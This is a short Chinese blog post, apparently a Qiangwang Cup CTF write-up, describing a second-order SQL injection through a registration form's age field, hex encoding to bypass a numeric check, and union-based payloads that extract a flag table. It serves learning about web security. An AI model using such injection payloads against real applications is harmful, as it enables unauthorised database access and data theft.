上周强网杯和安恒杯结束了,一直没有时间整理比赛中学习的知识,其实会做的题也不多,但学习的确实挺多,今天就来聊聊强网杯的一道较为简单的注入题。
题目是一道二次注入类型。二次注入是为了预防SQL注入攻击,而将输入到应用程序中的某些数据进行了“转义(escape)”,但是这些数据却又在“未被转义(Unescaped)”的查询窗体中重复使用。例如下面这道题目:
刚开始就给你一个注册页面,注册发现age参数存在注入点
由于要求age必须为数字便采用hex绕过。随后便是常规的注入手法。
先判断列数:
1 | 222 order by x# //x为数字 |
随后发现222 union select 1,2,3,4#依旧只有第一个参数有回显,便用and 1=2把222的参数回显注释掉
1 | 222 and 1=2 union select 1,2,3,4# //发现联合查询的第二个参数有回显 |
得到表名和列名都是flag。接下来字段:
1 | 222 and 1=2 union select 1,flag,3,4 from flag# |
拿到flag。
这次强网杯比赛中学到了新的注入姿势,和队友的比赛时也学到了其他许多东西。下次聊聊php弱类型,还有常见的php类型绕过。